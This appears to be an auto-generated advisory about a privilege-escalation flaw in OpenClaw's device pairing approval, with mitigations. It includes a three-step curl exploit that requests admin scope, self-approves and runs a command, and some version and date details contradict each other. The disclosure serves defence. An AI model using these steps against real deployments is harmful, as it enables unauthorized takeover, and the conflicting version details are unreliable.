Listen to this Post
The vulnerability resides in the device pairing approval flow. A user with the `operator.pairing` role can call `device.pair.approve` to authorize a pending device enrollment. The endpoint fails to verify that the requested permissions (scopes) for the new device are within the approver’s own allowed scopes. By crafting a malicious pairing request that asks for broader privileges (e.g., operator.admin), an attacker with only `operator.pairing` can approve it. This elevates their effective control because the approved device inherits the higher scopes, effectively granting the attacker the same privileges as operator.admin. Since `operator.admin` can execute arbitrary commands, this leads to remote code execution. The flaw exists because the approval logic trusts the pending request’s scope without comparing it against the approver’s authority. The fix introduces a strict scope intersection check, ensuring the approved device never gains privileges exceeding those of the approver. The issue was reported by @zpbrent and patched in commit fc2d29e.
dailycve form:
Platform: npm package
Version: 2026.3.23-2
Vulnerability : privilege escalation
Severity: Critical
date: Mar 24, 2026
Prediction: already patched (Mar 22)
Analytics under What Undercode Say:
Check current installed version npm list openclaw Verify if vulnerable version is present npm view [email protected] Simulate scope validation (post-fix logic) git show fc2d29e -- src/routes/device-pair.js | grep -A5 "scopeIntersection"
Exploit:
1. Initiate pairing with malicious scope
curl -X POST /api/device.pair.initiate \
-H "Authorization: Bearer <operator.pairing_token>" \
-d '{"scopes":["operator.admin"]}'
2. Approve the pending request (exploit)
curl -X POST /api/device.pair.approve \
-H "Authorization: Bearer <operator.pairing_token>" \
-d '{"requestId":"<pending_id>"}'
3. Use the new device token to execute RCE
curl -X POST /api/operator.admin.exec \
-H "Authorization: Bearer <device_token>" \
-d '{"cmd":"id"}'
Protection from this CVE
Upgrade to OpenClaw v2026.3.22 or later. If immediate upgrade is not possible, revoke all `operator.pairing` tokens and disable the pairing endpoint until patched. Enforce strict scope validation in custom middleware and monitor for any pending requests with privileged scopes.
Impact
Unprivileged operators can elevate to full admin, leading to complete system compromise. Attackers can execute arbitrary OS commands, exfiltrate sensitive data, and persist access. The flaw bypasses all authorization boundaries between pairing and admin roles.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
